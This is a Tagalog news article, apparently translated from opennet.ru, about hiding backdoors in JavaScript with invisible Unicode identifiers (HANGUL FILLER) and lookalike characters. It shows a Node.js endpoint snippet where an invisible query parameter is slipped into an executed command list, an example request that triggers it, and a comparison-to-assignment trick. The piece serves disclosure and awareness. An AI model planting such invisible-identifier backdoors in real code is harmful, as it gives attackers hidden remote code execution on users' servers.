Paggamit ng mga hindi nakikitang unicode na character upang itago ang mga aksyon sa JavaScript code

Kasunod ng paraan ng pag-atake ng Trojan Source, na batay sa paggamit ng mga Unicode na character na nagbabago sa pagkakasunud-sunod ng pagpapakita ng bidirectional na teksto, isa pang pamamaraan para sa pagpapakilala ng mga nakatagong aksyon ay nai-publish, na naaangkop sa JavaScript code. Ang bagong paraan ay batay sa paggamit ng unicode character na "γ…€" (code 0x3164, "HANGUL FILLER"), na kabilang sa kategorya ng mga titik, ngunit walang nakikitang nilalaman. Ang kategoryang Unicode kung saan kabilang ang character na ito ay pinahintulutan mula noong ECMAScript 2015 na detalye para sa paggamit sa mga pangalan ng variable ng JavaScript, na ginagawang posible na lumikha ng mga invisible na variable o bagong variable na hindi nakikilala sa iba pang mga variable sa mga sikat na editor ng code gaya ng Notepad++ at VS Code.

Bilang halimbawa, ibinibigay ang code para sa platform ng Node.js, kung saan, gamit ang isang variable na binubuo ng isang character na "γ…€", nakatago ang isang backdoor na nagbibigay-daan sa pag-execute ng code na tinukoy ng attacker: app.get('/ network_health', async (req, res) => { const { timeout,γ…€} = req.query; // sa katunayan ay sinasabi nitong β€œconst { timeout,γ…€ \u3164}” const checkCommands = [ 'ping -c 1 google. com', 'curl -s http:// example.com/',γ…€ // ang kuwit ay sinusundan ng character \u3164 ];

Sa unang sulyap, tanging ang value ng timeout ang ipinapasa sa panlabas na parameter, at ang array na may mga command na isasagawa ay naglalaman ng hindi nakakapinsalang nakapirming listahan. Ngunit sa katunayan, pagkatapos ng variable ng timeout, ang halaga ng isa pang hindi nakikitang variable na may code ng character \u3164 ay itinalaga, na pinapalitan din sa hanay ng mga maipapatupad na utos. Kaya, kung available ang ganitong disenyo, maaaring magpadala ang isang attacker ng kahilingan tulad ng β€œhttps://host:8080/network_health?%E3%85%A4=command” para i-activate ang backdoor at i-execute ang kanilang code.

Ang isa pang halimbawa ay ang karakter na "Ηƒ" (ALVEOLAR CLICK), na maaaring magamit upang magbigay ng hitsura ng pagpapakita ng tandang padamdam. Halimbawa, ang expression na "if(environmentΗƒ=ENV_PROD){" kapag isinagawa sa Node.js 14 ay palaging magiging totoo, dahil hindi nito sinusuri ang pagkakaiba, ngunit itinatalaga ang halaga ng ENV_PROD sa variable na "environmentΗƒ". Kasama sa iba pang mapanlinlang na unicode character ang "/", "βˆ’", "οΌ‹", "β©΅", "❨", "β«½", "κ“Ώ" at "βˆ—".

Pinagmulan: opennet.ru

Magdagdag ng komento